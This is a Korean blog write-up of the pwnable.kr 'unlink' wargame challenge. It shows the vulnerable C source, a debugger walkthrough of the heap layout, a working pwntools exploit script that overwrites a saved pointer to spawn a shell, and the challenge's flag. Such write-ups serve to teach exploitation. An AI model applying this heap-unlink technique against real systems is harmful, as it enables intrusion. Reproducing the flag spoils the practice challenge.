본문 바로가기

Wargame/pwnable.kr

[pwnable.kr] unlink

 

 

 

 

저 파일들을 로컬 환경에 다운받으려고 설쳤는데... 굳이 그러지 않아도 되었던 것 같다.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

 

 

실행하면 스택과 힙의 주소를 알려주는데 aaaa와 같이 아무 값이나 넣자 종료가 되었다.

 

 

 

main+195 즉, unlink에 BP를 걸고 힙의 구조를 보자.

 

 

A의 buf 공간에 값이 씌워졌다.

heap에 A, B, C의 fd와 bk가 있음을 알 수 있다.

 

 

아까 저 위에 main+208 라인을 보면, [[ebp - 0x4에 있는 값] - 0x4]을 return 한다.

shell() 주소를 return하도록.

 

shell() 주소를 heap A에 입력하면,

 

esp = heap address + 8

ecx = heap address + 12 = [ebp - 0x4]

 

위와 같아야 한다.

 

즉, [ebp - 0x4] 에 heap address + 12 가 들어가도록 하면 되는 것이다.

 

 

 

SSSS shell() 주소

ssss heap + 12

eeee ebp - 4

 

위와 같이 들어가면 된다.

 

stack address에서 ebp의 거리를 구하자.

 

 

 

shell() address + dummy[12] + heap + 12[ecx - 0x4] + ebp - 4

 

from pwn import *

s = ssh(user="unlink",host="pwnable.kr",port=2222,password="guest")

p = s.process("./unlink")

p.recvuntil("here is stack address leak: ")
stack = int(p.recvline().strip(),16)
p.recvuntil("here is heap address leak: ")
heap = int(p.recvline().strip(),16)
p.recvline()

ebp = stack + 20

shell = 0x080484eb

payload = p32(shell)
payload += b"A" * 12
payload += p32(heap+12)
payload += p32(ebp-4)

p.sendline(payload)
p.interactive()

 

 

conditional_write_what_where_from_unl1nk_explo1t

 

 

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] bof  (0) 2023.09.17
[pwnable.kr] fd  (0) 2023.09.11